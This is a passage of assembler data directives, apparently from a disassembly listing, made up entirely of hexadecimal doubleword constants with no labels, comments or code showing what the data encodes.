		dd 0CA2D2470h, 97160950h, 3800CC4Ch, 0DAEEE447h, 77B0151Dh
		dd 3FC059DDh, 0EC5FF1F4h, 0E56C1D79h, 173EC561h, 1016C0D4h
		dd 0E1004F0Bh, 7526D8AEh, 48F87BF3h, 380228B7h,	79677AB9h
		dd 0FF09C63h, 800BD26h
		dd 4C2ADC5Dh, 83C5A4h, 549B20B0h, 0AED4CB79h, 88757300h
		dd 0B6CCF948h, 417E30h,	32AAB15Fh, 9E0FADFCh, 4701005h
		dd 0F80235EDh, 166A2266h, 1273D400h, 4A40E326h,	0D49287h
		dd 2B61E2Bh, 0C33B1B5Eh, 5D2FC8F3h, 1A7F9F00h, 0F8BD37DEh
		dd 80470085h, 0C29C5851h, 0EC0040BEh, 1CC4E04Fh, 8C5BF2h
		dd 2ABCB4DEh, 0B8D451FBh, 97E2C213h, 76464047h,	48F89DA6h
		dd 38803C48h, 9A03F04Bh, 1160B3Eh, 0EC26F204h, 20D864BDh
		dd 632306EBh, 60B8A5C6h, 0A0583A07h, 0A01F3DA3h, 9302C803h
		dd 0FE7F00ADh, 0EB8FF741h, 9F00C970h, 299C3607h, 1CA28951h
		dd 4085F0DAh, 0DE1B2DD8h, 7401CDACh, 0F1E003FCh, 0C9EF67E2h
		dd 34C001EFh, 4118306Ch, 4432F311h, 3EB1A00h, 0CA811C72h
		dd 0CC6D00F8h, 2ED0FF8Dh, 0ED00E8ACh, 43AB3DB1h, 8F3449h
		dd 0F007B6F7h, 0DD1BC101h, 94ECAF2Eh, 0EFC2EA00h, 724218FBh
		dd 14F0092h, 9CE7254Ch,	5D0098F1h, 91DE4E84h, 746338C1h
		dd 0CC1D3CCDh, 8524BE80h, 1FA48EEh, 70116800h, 17567781h
		dd 0A7F3004Dh, 0E32A05DDh, 0C0762C4h, 0A891CB59h, 8794EF33h
		dd 0C899A583h, 986B9Bh,	0FDCE93FCh, 5BDC9D05h, 42595600h
		dd 669EE273h, 53783A51h, 7C04B687h, 47C9E385h, 0C5DC6BC8h
		dd 7DED2500h, 5F7E217h,	5BEE0070h, 97C9B478h, 0CE004FE3h
		dd 56DDDBF0h, 0EB675h, 55E01671h, 0C9396A72h, 4EAACF00h
		dd 286436Bh, 68770363h,	0AEBC924Bh, 72D108C8h, 0ACE27A00h
		dd 2E17255Bh, 0AFB7013Bh, 94FF0F44h, 6A6660C1h,	5C00D073h
		dd 0A75046E8h, 0BD38C4h, 1F9491DAh, 35229C92h, 0B5052E09h
		dd 0D0DB00D6h, 3F3A2D14h, 8AA41E37h, 7E80004Ch,	3B08D4FBh
		dd 705CBA00h, 0F4402663h, 9F4607D7h, 7155325Fh,	40A9DB1Eh
		dd 0DE3513DBh, 10BB6C00h, 0EF7CE05h, 9F510082h,	76900222h
		dd 0C300D463h, 0D7FDE354h, 70424F73h, 0D2AE1C18h, 7706C86h
		dd 11E291CCh, 0D89A437Eh, 9B001995h, 4EAFAEB3h,	14D5979h
		dd 526B45FFh, 303A4933h, 0D8F7FA64h, 0D200C081h, 0B41E1B74h
		dd 0F4E7BAC4h, 994C0055h, 11BDCC4Ah, 88007D92h,	0E2D42C7Ch
		dd 0FC1A211Eh, 0E8D1267Fh, 0D9B003Bh, 88E516CEh, 0A571E200h
		dd 43606459h, 5FBB009Dh, 0B19EB44Ch, 14003A0Ch,	7DB58603h
		dd 70A92BF0h, 0F5100071h, 0D69BE73Fh, 3600FF77h, 0C904DF2Fh
		dd 1550AE2h, 3BC5AD4Eh,	0CC03988Bh, 0CD00B31Dh,	0F9468540h
		dd 0FC22C6h, 0E22EB2A1h, 4E5133BCh, 3A028E03h, 0A887B90Fh
		dd 0EA547B47h, 0A7380096h, 7C454A22h, 1400E329h, 620AD1E5h
		dd 0A4B347h, 197A3DC1h,	18E8F5Ch, 0D0379500h, 18BE6C2Bh
		dd 0ACCC2EC3h, 1C3009B6h, 0B1D60C00h, 0C082066Ah, 17982CC4h
		dd 7406842h, 0A49367D4h, 0DF8CC0AEh, 77005E08h,	7274B182h
		dd 5FFC926h, 0D348AA51h, 4F34C09Eh, 58C0235Bh, 0AB5964D5h
		dd 0F58A13C7h, 832F0015h, 3FEB572Eh, 18D64D00h,	3ED4F76Fh
		dd 0DE7B00D5h, 73C00F85h, 3900324Bh, 245DB269h,	0CDF425h
		dd 0F2F5010Ch, 0A7BA11F1h, 0ADDE2C00h, 5CB1E488h, 3FBE429h
		dd 72E93681h, 55A853F0h, 3A0F0BE7h, 0E2DF015Fh,	619F9BF3h
		dd 0E2ECF9B8h, 15BC0074h, 0B902B818h, 84004EF4h, 0CDF56707h
		dd 0DB447Fh, 94AB2147h,	0DF53604Fh, 2C2A5DB8h, 63E0BCEDh
		dd 12EE2D02h, 0C0375616h, 3D8A34h, 7BF9A50Fh, 5CFB989Bh
		dd 7CBF3000h, 2326FA1Ah, 0B490000Eh, 0BBEEC274h, 0A900E01Dh
		dd 0D34C28D4h, 7DEA47h,	99F76B72h, 0D592C60h, 7C08B07h
		dd 25B01BD0h, 0B86213BCh, 38A41C28h, 6A31C035h,	0C432D8B8h
		dd 95F8C3F4h, 0D9B6D703h, 0F004ED40h, 4805D154h, 1007291h
		dd 0FB9E2567h, 4807AE61h, 6AF27147h, 0CFE036B7h, 246F4Fh
		dd 84450326h, 7A3BFD5Bh, 33C0BB1Ch, 0D60400A7h,	0E41B6F6h
		dd 5D22C813h, 1AF8E0E3h, 0A4003ECFh, 8CC18F14h,	0A2D0E00h
		dd 179A5D21h, 168B00F4h, 0CE6CEDEAh, 9D014522h,	75D168A3h
		dd 2FCC231Eh, 57980109h, 27B8113Bh, 9158F42Ah, 3C5FA08h
		dd 49C38722h, 420FB862h, 0BAB20031h, 631EFAh, 4152BE51h
		dd 952BA344h, 0DF5DC603h, 0CB99BF73h, 6218D894h, 35608086h
		dd 10C31902h, 6085D5CBh, 75870944h, 1704BAF9h, 7C700Eh
		dd 0C1C69B26h, 0E20065A8h, 0D92D72C3h, 1E44988Eh, 0C00D9F3Ch
		dd 6E82D8C2h, 0D1769546h, 240C7600h, 96988920h,	0D4881C7Eh
		dd 406403h, 40FDEABAh, 0A1010B8Fh, 2639F0E5h, 0E040C6E0h
		dd 0FDEA6h, 0DA6586AAh,	0E603C2AFh, 0B788800h, 0B12FCD50h
		dd 119905E7h, 0D08738DFh, 497B6C28h, 2BDE6A13h,	0ABBAB000h
		dd 0A51209h, 0D95A2EBEh, 0C4FD5024h, 0C44E862Ah, 0F9D61400h
		dd 0B3AAE620h, 15123C9Eh, 2FE57B8Ah, 0C1CB0080h, 0D1573DB6h
		dd 0F38CF900h, 9EB87112h, 620C381h, 9DE09203h, 0CE037FF0h
		dd 59AC7020h, 80DE8255h, 10F7E9B6h, 433C30DFh, 877178A9h
		dd 1D24FB48h, 5C896848h, 51884033h, 0CF830CF4h,	0C021FC20h
		dd 4959BE1Dh, 3417D380h, 38D23B15h, 9CD0A276h, 4DE30044h
		dd 4203B7E1h, 0A100E243h, 0A8ECC1D4h, 3ACCBB6Eh, 0FB0BA9h
		dd 6B2CB65Dh, 0E087EE7Ah, 3F006AB0h, 59FCD1B3h,	0E5E963C3h
		dd 0CF12E038h, 707031EBh, 818D30DFh, 180ED23Bh,	7CB1A8DDh
		dd 13C80020h, 8B14F261h, 2BF2E05Dh, 763F8C1Ch, 0A78D800h
		dd 0FE3ADD1Ah, 14951h, 61F92818h, 1B482026h, 0A5D009Ch
		dd 0D91D8DF0h, 598F1FCAh, 6B47005Bh, 6FA9BA56h,	3AE32201h
		dd 0C5D729CCh, 0FA409040h, 3EACA886h, 91640498h, 9768609Eh
		dd 0ABCCE060h, 0B012773h, 1937E458h, 0ACF885A8h, 9CB83DBFh
		dd 6D230803h, 0ECC07934h, 2B07A1A7h, 7F6BADBEh,	0C51052B0h
		dd 0E0D100A6h, 82710D2Eh, 62602BD4h, 0CBFC5960h, 5AD71E05h
		dd 8CB307F8h, 25E9B015h, 38031A16h, 77CDE67Eh, 51CEF0F7h
		dd 76700A02h, 0AEF0C850h, 0AE7F81C0h, 0F47947B9h, 7E0AE845h
		dd 0B43D99D8h, 0C9DAB780h, 1FD99678h, 743536Ch,	0E099F090h
		dd 0DC0525E6h, 0E31BD00h, 0A4FF2DA8h, 8C60503Dh, 99A1002Fh
		dd 0DF725DF4h, 0E8E29CC0h, 53002B74h, 5891B9F1h, 90F7B25Fh
		dd 0DA2900EEh, 0A6B1540Ah, 96091B39h, 0AE47637Dh, 62D30018h
		dd 1D56C2F6h, 35A8FFh, 5FCFA6BEh, 2E1EB85Ch, 8B003739h
		dd 0C806E153h, 0C1E9070Dh, 0C33FD535h, 5CC8D3CDh, 5F00B7C9h
		dd 0F8E398B1h, 3EEBAA9Fh, 468712FCh, 8BDBAC14h,	0C8B4A000h
		dd 0B95C19FEh, 67809C84h, 0E876597Ah, 702500D8h, 284DB1FAh
		dd 4100E997h, 0F3C8DA20h, 39F521Ah, 1EAB659h, 20002705h
		dd 91F0B2D1h, 288AE40h,	1FE0C9B5h, 2040D4FFh, 0A4077277h
		dd 69B95497h, 42D8C762h, 75188036h, 1D927CA1h, 0C793AA49h
		dd 30578A8Dh, 0C4FF71DFh, 9C1DC700h, 0B4690E07h, 1B3FB831h
		dd 0C81AD106h, 4FB01A8h, 7F185C00h, 0C6C83C09h,	36350120h
		dd 234EB64h, 0C30423D8h, 0B93CADF4h, 5BF8F2D0h,	8C930042h
		dd 8301E6DEh, 0BB01B7F6h, 21DC3F09h, 0EBF8C732h, 23B6039Bh
		dd 45756F1Eh, 0AC68938Ah, 490E0B01h, 7FE20825h,	4EF4B48Fh
		dd 982320BCh, 3267DF1h,	6113362h, 86C01C34h, 0FAFE549Dh
		dd 0EA6B9C00h, 7436A672h, 5FEEBFh, 0FD5C9126h, 59F5A72Ch
		dd 89376000h, 0DFCCE331h, 58C559ABh, 25FB5413h,	0A15A8060h
		dd 2DE62B19h, 808D6700h, 5DEBD953h, 81020B70h, 0F200750Dh
		dd 4CD42BFEh, 0C79E2E01h
		dd 98A5A9F8h, 1ACAC880h, 0CA1F51Dh, 0EDF4D80Bh,	0BE7E006Fh
		dd 45FCDBh, 673FDFAFh, 537DAA47h, 480EDC00h, 0EAF45B5Ah
		dd 74E100F7h, 953EF3B5h, 64006A23h, 0DB8C076Bh,	4E84FF6Dh
		dd 0D0940E2Dh, 822A5280h, 0F93EB3BBh, 27300763h, 7C90A67Dh
		dd 1255EA6Eh, 404BC6BCh, 96CA173h, 260089E6h, 0F220ADDh
		dd 487D70A7h, 0FD00E420h, 14B6AC99h, 4800F385h,	4478D2FEh
		dd 0CF0BB0h, 1E08BDA0h,	0E10763B2h, 8B04C2E8h, 72015871h
		dd 0D14B0h, 5BDA8F13h, 0F29CEC5Eh, 3D00C9FAh, 4614810h
		dd 70B77803h, 7B6014BDh, 0BC0098C0h, 0F1ED66FFh, 0E3002D87h
		dd 623EE6C7h, 1E1AE35h,	4DF40C2h, 0F88F181Eh, 0AA722FD0h
		dd 6487FF26h, 7FFAEF05h, 0A7DCE401h, 0E8FA4DADh, 1F36FB4h
		dd 641DB5BEh, 0F81EB237h, 0A27B4FEAh, 3456EE07h, 54607461h
		dd 1C03ECBCh, 0C42A8606h, 0C0FDC54Fh, 0E5914E64h, 0E4681409h
		dd 8A2C0063h, 8050BAh, 3319F0A0h, 0FBF5B98Fh, 25DC4A00h
		dd 87DE9AA3h, 1064611Ah, 0DC86CF6Ch, 0B602858Fh, 9D7D98BBh
		dd 7658685Fh, 0FB3E00ACh, 1BD92C90h, 30192E0h, 83CC36A4h
		dd 806CF037h, 507D2537h, 5AAEDB8Ah, 3656EB09h, 95BC04F9h
		dd 57AF92C0h, 0C260E71h, 7B00233Dh, 0E499E175h,	0A9A0D712h
		dd 0AFA3BC07h, 0C75C9D21h, 59D369ECh, 7600F4C2h, 442D0B68h
		dd 0AE3E5FCBh, 254D8078h, 6529F2DAh, 0C690F7h, 0F877C1EDh
		dd 83E18ACBh, 2C07953Bh, 7F80900Bh, 0CE4CD169h,	0D810DF30h
		dd 79EFCAD3h, 0FF315A0Fh, 8DF343ECh, 0AF20000Ch, 5C9C21C4h
		dd 377319E9h, 0D94B720Fh, 8048EFCDh, 6EFF49A0h,	0ACCB00E4h
		dd 0F6305292h, 0F281774h, 0A83DF0A9h, 666A0114h, 1552F751h
		dd 77D48840h, 34032E12h, 0A7140069h, 73632D5Fh,	0DA0074B8h
		dd 26B49415h, 1D33733h,	0A73E04A4h, 0E012027Dh,	5CB8CF2Fh
		dd 82B5CC00h, 58176D4Bh, 5BB2003Fh, 0D7CD3D27h,	6488E46h
		dd 1D9B02C9h, 0C8956196h, 7A3C2598h, 0C5B639F6h, 0EDBFEC3Bh
		dd 106F3800h, 0BBEBD06Bh, 41C1E526h, 69EC5400h,	1EFBBA75h
		dd 80AEDD31h, 8EC9A31Ah, 0D100D0FFh, 0E1B5522Fh, 5056EC0Dh
		dd 0B473A9F4h, 10166090h, 0EE1DC705h, 7C85D92Eh, 0A88AA44Dh
		dd 0F829D101h, 20ABBCB9h, 9D169304h, 2400510Ah,	77705A9Fh
		dd 1C1C900Fh, 0C07D8F6Fh, 21281E84h, 52122E59h,	1807C6A7h
		dd 1E58CA5Ah, 40082C4Dh, 4CCFEAB3h, 0EC31A228h,	0F5B72100h
		dd 0C061036Bh, 3B83008Fh, 37E66CDEh, 0E3B5950h,	8804CB9Bh
		dd 0B240A81Ch, 780C4D3Ch, 45AA381Eh, 65C97C40h,	7F909FA5h
		dd 538C011Ah, 0E66B9D07h, 6ECC7015h, 0CCB09C90h, 0FF587176h
		dd 0DA3D033Ch, 0E8A1B14Ah, 0D75325h, 0CBADCCB8h, 0C5154CB3h
		dd 1D22B900h, 2957EB90h, 193300F5h, 6AA72417h, 1503DB16h
		dd 754F9C63h, 679E038h,	1B600A6h, 0C9918E5Eh, 50039F32h
		dd 6A10358Ch, 7079D883h, 0F12C2CECh, 47730028h,	0CC228916h
		dd 55C99E00h, 0FF4D8061h, 0B8D8EE15h, 672B005Dh, 0EF1174C0h
		dd 9300C824h, 0DBB0FB1Ah, 0F5837CCh, 7DF14A2h, 84228A20h
		dd 9C009174h, 69E6572h,	289F0C5Ch, 0EB8621Ch, 0D17F80E6h
		dd 93B31E80h, 160083CBh, 0EEEF0E9Bh, 0E3E139h, 78565015h
		dd 0B5087602h, 0CDC01600h, 99103230h, 4168001Ah, 6AA34B03h
		dd 2EE683A8h, 73D55900h, 33FA8CE0h, 67950760h, 0A09E8B14h
		dd 53B63E98h, 0CA032D00h, 7674860Ch, 8B6500E4h,	36411056h
		dd 0E91CF885h, 134B2BF9h, 243350D0h, 1EC591Dh, 179A43FDh
		dd 0C4260E3h, 0B021B900h, 4FD90D79h, 49003BEh, 0F6824572h
		dd 8DC78AE8h, 0A192C600h, 0C3CBF4B7h, 6D8E0032h, 98405B29h
		dd 0D81288ECh, 0F4A11BC8h, 0E376DE80h, 0F0E99423h, 83EA1D3Ch
		dd 0FC5DD522h, 37CC00Ch, 0EDA900D0h, 0F7A94A1h,	5768F34h
		dd 80D33Eh, 3745327Bh, 303F013h, 0AE9C197Dh, 0C0A4BEBCh
		dd 0C1688434h, 0D5554817h, 5BA22440h, 0EEF560C7h, 0EDAC002Ch
		dd 85B4BBABh, 0D20D44DEh, 181388C8h, 7889ABE3h,	4BE0FBA8h
		dd 0B9E80052h, 689622DFh, 9F00A33Bh, 0B9DB5B4h,	25A2E2h
		dd 2FFFF60Ch, 0D395187h, 1FC9603Ch, 84DDB28Eh, 50339200h
		dd 0C32213h, 0E5097A36h, 0D55481A4h, 0B1FE5500h, 1128FD4Bh
		dd 0B084679Bh, 940880C9h, 0E4001476h, 0E39CAA79h, 4EE668ADh
		dd 2E000C4h, 1D84B111h,	4AED9401h, 85263773h, 10BE2F0h
		dd 0DD0CF876h, 0C28B077Dh, 887B960h, 0EB1C7060h, 0E8CBB5h
		dd 26FCD7F7h, 0A0B76637h, 0E6E05400h, 9324AB2Bh, 551800B0h
		dd 8845AC1Eh, 4F078631h, 0ED57DF3Fh, 0E31F1300h, 90730E5Dh
		dd 3800E0DCh, 26C50715h, 0F13A0B07h, 406E0DF9h,	117C5201h
		dd 0D8F000BEh, 4AA3DDEEh, 6A001E8Eh, 0B98F60Ah,	77BF3032h
		dd 53EB014h, 0B5D90E60h, 0C6980CAh, 0F20031E5h,	0A50D1F10h
		dd 0F04D7FFh, 0FBE33D93h, 19C0704Fh, 92FC37Bh, 0C8360228h
		dd 663E61F8h, 5AF8161Eh, 0B15E8905h, 807EE382h,	0F49B45A1h
		dd 15330E88h, 44E002D8h, 890403B6h, 14C020D2h, 88965A88h
		dd 1001E92h, 2E7609A8h,	4816FBF9h, 0C902237Fh, 39817B20h
		dd 0B1703562h, 8F8BAF1Ch, 0F635007Fh, 0D17B02DEh, 28F0A87Dh
		dd 2C1F0EB1h, 0CDA1A6FDh, 0D1B4AF07h, 0C7586425h, 1D1F5807h
		dd 0D85713B9h, 86EED3E1h, 50274C40h, 7861FCD0h,	880A3E8Eh
		dd 79FBC700h, 48AA449Ah, 0E82EC607h, 0A250D131h, 33A0B8h
		dd 0FAA40ADAh, 0B7C7C373h, 915C6300h, 0B0C91C92h, 17790027h
		dd 5BDA2E4Fh, 0C4007F5Dh, 244AF8BEh, 12D128C0h,	0A88C6322h
		dd 3FF900BAh, 2ED86CD9h, 81880009h, 8A863283h, 0F8002C05h
		dd 1959FB18h, 0C9765h, 7B4712E3h, 0BF6EAE33h, 6C133Dh
		dd 0EC7A04Dh, 7846AAA1h, 4C8EA0C1h, 1279000Ah, 0D2D02B63h
		dd 911DED3Bh, 0FDBC61h,	7E7D2152h, 66C8B5h, 4D4297CCh
		dd 13BBF8B9h, 0F396BF00h, 80592C65h, 8AA41F0Eh,	24C88D2Bh
		dd 0AE199D30h, 30218BD1h, 182D428Ah, 42C7DC08h,	8111E0Ah
		dd 71B5B111h, 4A308A56h, 631FD711h, 3A1B203h, 0AFC8A02Dh
		dd 3EB80EDEh, 500CF7FFh, 5D034F21h, 9813746h, 0CB1BEC8h
		dd 2E7BAE2Bh, 96004039h, 9FF5EEBAh, 0FAB50412h,	0F75E06C7h
		dd 70F29E8Dh, 6FF1844h,	0BB3833C8h, 0B7781166h,	59B16Fh
		dd 512ADC47h, 429902C6h, 4D5CA4BCh, 950F9490h, 3B8174FAh
		dd 9400A871h, 1D1915A1h, 98827707h, 947499CDh, 791F7236h
		dd 0C2048F28h, 9CA0AE4Bh, 0C93F91C6h, 3E0BCAE4h, 8014FE28h
		dd 0AE5799A7h, 8B59008Ah, 2EE69808h, 0E8073102h, 0A91FD71Eh
		dd 654917E0h, 87C548A0h, 0F9FD900h, 0D7BF3D1Ch,	1AE4C300h
		dd 66BAF45Fh, 0FCFD00CFh, 0DBA2296Ch, 6F0098B4h, 1863E7E5h
		dd 0F4E8BE1Eh, 738500CFh, 0B1C5BD6Bh, 1BF204D3h, 0D8212D00h
		dd 4F61225Bh, 0C64D0063h, 8D387988h, 0DC008636h, 9E8021BFh
		dd 0FF95873h, 0A662EA8Fh, 0D5FE2B60h, 8407D76Eh, 4FBDD076h
		dd 3AAF9960h, 8B3F0016h, 544E1795h, 710015A0h, 77A96881h
		dd 0EE5D72C2h, 0DD4F001Dh, 8C268721h, 0CD70691Ah, 1442B00h
		dd 34CE5725h, 20462845h, 94400081h, 0C99D80F9h,	4F0CDF0Fh
		dd 21999023h, 9EA239ABh, 70A3F500h, 0C69C96B4h,	0DD94C8A0h
		dd 272E9A00h, 933CEC6Fh, 7C7200C9h, 45E49650h, 0AB74DF8Ah
		dd 0CD90DCA8h, 6F5FEC00h, 8E4433A1h, 7875002Fh,	0FB14533Ch
		dd 0AE01F671h, 5A8DDDB5h
		dd 6CDCE997h, 287475ABh, 1C60A43h, 0F83811A4h, 0E0C53681h
		dd 74006CD0h, 764A5124h, 7EEC55h, 659C06A5h, 0E7E65E5Dh
		dd 37D21501h, 953324FEh, 0EDEC960h, 317843D0h, 291B5401h
		dd 0C100D3A4h, 81C14F7Fh, 331530h, 0C26BE3ADh, 223D52ABh
		dd 1A04B3Ah, 0A8B23E13h, 40314533h, 0C6DCAAF9h,	6ACA0015h
		dd 6DC217BAh, 4E24F55h,	5078EE00h, 771B79F5h, 921002B7h
		dd 0AC543824h, 94739F40h, 0F62AFA01h, 0A42F5B82h, 58989840h
		dd 61DF0054h, 0F41B8846h, 0B10141E6h, 0B9D7558Bh, 6834EF70h
		dd 5EAD00BCh, 8D5D7C4Bh, 0D5001579h, 5C165860h,	0C0367E81h
		dd 2DA80A32h, 5E0A669Dh, 0DD95346Dh, 48565403h,	0F50190D8h
		dd 0F0421C3Fh, 60BE03DCh, 0AFA02D78h, 490C15Ch,	0FEC7C207h
		dd 0B0F2E942h, 68AC069h, 0D0992C0Ah, 716C03A4h,	48803018h
		dd 6100FB9Bh, 207C792Bh, 9AB4A5Fh, 35E3A3EFh, 0AC819D00h
		dd 0B900371Bh, 0DBB86FEEh, 3C85E27h, 0DE0BC34Dh, 0A1B02999h
		dd 0D30921E2h, 58F72Eh,	686FF16Ch, 4A7626FFh, 0A4B40008h
		dd 0C9B9543Dh, 0C0CB7000h, 97923B24h, 0EE6F009Bh, 78F7597Ch
		dd 0E307654Ah, 271148C9h, 3F95A910h, 4C7AFEh, 9BD40A57h
		dd 0D9734FA6h, 4E9A1A01h, 0F362FCF1h, 5AA170h, 14D33F92h
		dd 0F226056h, 64CAE600h, 0FCECB465h, 0F01D31DDh, 24984CC9h
		dd 81007414h, 0EF57BF46h, 93B721Ah, 8292AC51h, 8000A70Bh
		dd 0A54EB95Dh, 8AE13C00h, 0A04AFE99h, 8C89097Fh, 9C2743FBh
		dd 6A5E803Ah, 3F00FC29h, 1A3039B9h, 0F140FDh, 59C7906Dh
		dd 0EC3A867Ah, 619D0E00h, 54D085A6h, 0BBE1142Fh, 700EC9Ch
		dd 4B52E48Fh, 0F901FCAAh, 0CB66150Ch, 6BDCB083h, 10FF0079h
		dd 0E4E8577Eh, 5E74C826h, 3DC7FD07h, 74B02352h,	656255h
		dd 0DCD00470h, 59EDB9DFh, 0A7EB2B00h, 0CAF945E2h, 51127524h
		dd 0ACE0B914h, 177556h,	70502BF0h, 0F5CEA1EAh, 6BAFEF07h
		dd 97703FC1h, 486489h, 4B8881AAh, 74C47235h, 0E70098B8h
		dd 5E840A76h, 120149CCh, 360E3Ch, 27054D5Ah, 3201B4F4h
		dd 3945EFE5h, 0B5F0FA95h, 0ED7216EAh, 147F000Fh, 448F187Ch
		dd 0F85DA902h, 0C893E8A6h, 0F617A64h, 0AADD0C45h, 4FD37480h
		dd 79F25BEDh, 7C9B5250h, 0F5A03Fh, 4B6795F9h, 22A15Fh
		dd 697D8D59h, 5AF6F0B7h, 14971E00h, 7FC8F524h, 0CB801DDh
		dd 59E47E72h, 75DEF42Ch, 0B3B23Ah, 0A0C0839Ah, 921BD2FFh
		dd 5887038Ch, 7BB46CF2h, 0E86AB5D1h, 6E00C49Fh,	0F484BD5h
		dd 7960776h, 66355E67h,	434F2171h, 0F9288088h, 746A7CC1h
		dd 0FA9C309Ah, 871F91A8h, 0FF55700h, 0CE6FBDB6h, 3FD8E6A5h
		dd 208376C0h, 452DC89Dh, 6A339F98h, 8780F500h, 4796F050h
		dd 8494A052h, 0B298C4h,	8E32462Ch, 70238205h, 48019A72h
		dd 2218B4E9h, 0F3C49087h, 94110009h, 47EF2549h,	890050ACh
		dd 26312AE5h, 78BD39h, 20513EB1h, 11858014h, 0F55F700h
		dd 5231D2Ah, 0F87E05C6h, 80E4CB74h, 583CD244h, 9E91B4A8h
		dd 71ACEC0Fh, 682B801Ch, 3E631AA6h, 0CA858977h,	0D3F3C559h
		dd 3BA0D610h, 0AF1F5DDDh, 5B031DFBh, 0F884C581h, 72B7616Ch
		dd 0CD9F0092h, 40D2EA5Fh, 0CB002E41h, 2F34D094h, 0F2DCB2h
		dd 0B0325063h, 316E5565h, 705A8524h, 0D5EED600h, 6E1B8BBh
		dd 228BDF4Dh, 0F30750C0h, 297D0EC1h, 0F0A70C31h, 0EC53A4DCh
		dd 9BA800CAh, 5262631Eh, 410018E8h, 9D929FD3h, 0F2D5F2AFh
		dd 28170027h, 69A64A20h, 29001A64h, 0F1BD2B34h,	0A06F70C2h
		dd 33255EBh, 7E1DD17Ah,	7800682Eh, 246DD818h, 4D3A9AA4h
		dd 9700FC93h, 0EFA20353h, 0E70565A1h, 0D5E98680h, 0F7B404C0h
		dd 71AB0067h, 3440CE63h, 0DD04850Ch, 2DF2CC80h,	91C51C81h
		dd 1FA5C0h, 5C15892h, 5A2581C7h, 9D311300h, 0C26D3A32h
		dd 1A4A007Bh, 0B6F1752Ah, 1B11B595h, 0B20F0F07h, 0F6A7A1DBh
		dd 4257E0h, 7030E6F8h, 1AEBBC00h, 1B28E2ACh, 513809BDh
		dd 14806763h, 69D8F715h, 0DF001375h, 0C4FAA1FBh, 3DD63616h
		dd 710098EDh, 0FC6441F1h, 5F1301EBh, 209A703h, 0AFB44831h
		dd 26A9004Ah, 3E8A92DCh, 65049E49h, 2C477932h, 4DE505h
		dd 0EAC40D18h, 340303C2h, 17C396E7h, 0E480E763h, 94F6C5E9h
		dd 0CF418094h, 6B20CA8Ah, 1F76BF00h, 0F0860716h, 7B8D0029h
		dd 0F3B1C9FDh, 2E162649h, 0C20EDD2Bh, 53B2A00Fh, 58584DE6h
		dd 0AD33DCCDh, 0A8884798h, 0B14569Eh, 9CE74Ah, 0F6E6C6ABh
		dd 0C3506A7Fh, 903B9D70h, 85BC71F1h, 48F03989h,	0A91093h
		dd 0CEC32130h, 0DEAD26DBh, 9A8DBB00h, 0EAA3C0B3h, 1AB006Bh
		dd 1C2BAF3Dh, 0A500BCFFh, 254BC21Eh, 0D0818Eh, 90322848h
		dd 5FFE77EEh, 7CE0DB00h, 0A9B5BB65h, 49E10380h,	0E9DA6654h
		dd 0B668CCD8h, 0C36EFD00h, 0BA38F407h, 0D0B30021h, 716AA736h
		dd 5200BD30h, 90D3DA13h, 9E8A1h, 0D74B27E3h, 0FCDCBC93h
		dd 4EA59400h, 40A014C8h, 0F33C0E59h, 0B94078C0h, 73628807h
		dd 8369C207h, 75C7DC76h, 0A7D32F40h, 0B43200E4h, 7A3EDD35h
		dd 3100BA34h, 3D64AE92h, 3B7B761Fh, 10011903h, 0EBDAFE09h
		dd 0C7B9C0E5h, 2CA17005h, 0A440C14Ah, 1EAE53BFh, 88F00B9Ah
		dd 2AF65DF4h, 29009426h, 55063B96h, 30703B04h, 8B49B285h
		dd 8CBC402Fh, 0AD227993h, 99E7563Eh, 0A5085EC3h, 0FB832180h
		dd 0A038FE78h, 96B1BF01h, 0C345F1CBh, 2B4AC8h, 44CCD4B8h
		dd 65511EE9h, 5001B7EEh, 96B22ED5h, 0C7C95C4Ah,	0DDE8A984h
		dd 870480EFh, 3A699E8Ah, 8D84809h, 1BEF00D3h, 1EF98F38h
		dd 0C5000478h, 3A50A964h, 498DE74h, 308D6AFDh, 1F11432Ch
		dd 624100EEh, 0F9A3C3ABh, 0B714D620h, 60D8564Fh, 9103A1F8h
		dd 0C118C18Dh, 48B4EB09h, 0FA72A388h, 0F5588F60h, 5AAEF2h
		dd 39DF2A28h, 20677558h, 1CA13100h, 0AD93794Dh,	3C11002Dh
		dd 1861F072h, 0D30360EBh, 0FD91E3D9h, 5B66B8D1h, 0E646003Eh
		dd 0A625BE9Dh, 8A397001h, 7519E047h, 94545Bh, 0E9D90797h
		dd 5E7F4829h, 7EB3311Dh, 0FA728C80h, 0C2ECAEh, 0D84A16CAh
		dd 0D6B4E1BBh, 68E69430h, 1C03365h, 0B710E73Fh,	984CDED2h
		dd 82215908h, 32C0013Bh, 7B624342h, 4CC8609Ch, 0A348910Ch
		dd 2CFD882Dh, 0C2EC31h,	57ED9A36h, 0EE74CABEh, 97212860h
		dd 72B0ACA2h, 9B3E0031h, 0A3858BE4h, 508045D8h,	392D0101h
		dd 887D4CC1h, 401981D1h, 2336C0BFh, 66D6498Ch, 1005299h
		dd 59B716A9h, 6FF9422h,	0E8309D05h, 4500208Ch, 962E7C9h
		dd 15E2892h, 8DA6BF7Bh,	0EC2D90C0h, 29C5A7DFh, 0A85EEC55h
		dd 47CC821Dh, 16D1169h,	2CB6D765h, 0ECDE3A6Eh, 730345B1h
		dd 44F34DABh, 5191A11Eh, 0FECD8458h, 0A22B239Ah, 90C608h
		dd 0E0ACAF94h, 1A062DBBh, 9646D55Eh, 5C820089h,	7B67EEF9h
		dd 0AA0079A7h, 0E05C74Dh, 39FEB4Ch, 60D2C878h, 0A1483E12h
		dd 0F942001Ch, 70060448h, 0DD200E14h, 0FDFEFFh,	0A868EA79h
		dd 46711E64h, 745D0328h, 0E062C00h, 0AA36A3B3h,	3D1F00EAh
		dd 5A02E321h, 1C187267h, 19998F3Eh, 73A53A6Eh, 2AA6771Dh
		dd 0AB203AC0h, 0E13C8E0Ch, 9E004629h, 0BF29F714h, 660F8AB2h
		dd 21690897h, 11F64F00h, 0A49503BCh, 3DCE04B6h,	40C338C4h
		dd 0BAED273Ah, 7D3E2FCh, 0B6D0BB30h, 888ED491h,	0DC3A7108h
		dd 0CC038075h, 314B2E5Ch, 36C90FAh, 0D2088ED0h,	5140E46Dh
		dd 0AE01C2D3h, 0F02DBDDCh
		dd 188AFB46h, 85846A47h, 0C04F114Ah, 0F9613CCEh, 87DD8F00h
		dd 0C61982A7h, 54103AFFh, 38A03B98h, 55412BF9h,	396609Eh
		dd 0BF3A5967h, 0F4FB711Fh, 0CFBAAD07h, 0C460606Eh, 387493h
		dd 34C8D2E1h, 0D1FFC386h, 5B01300Fh, 0F7D99827h, 46490078h
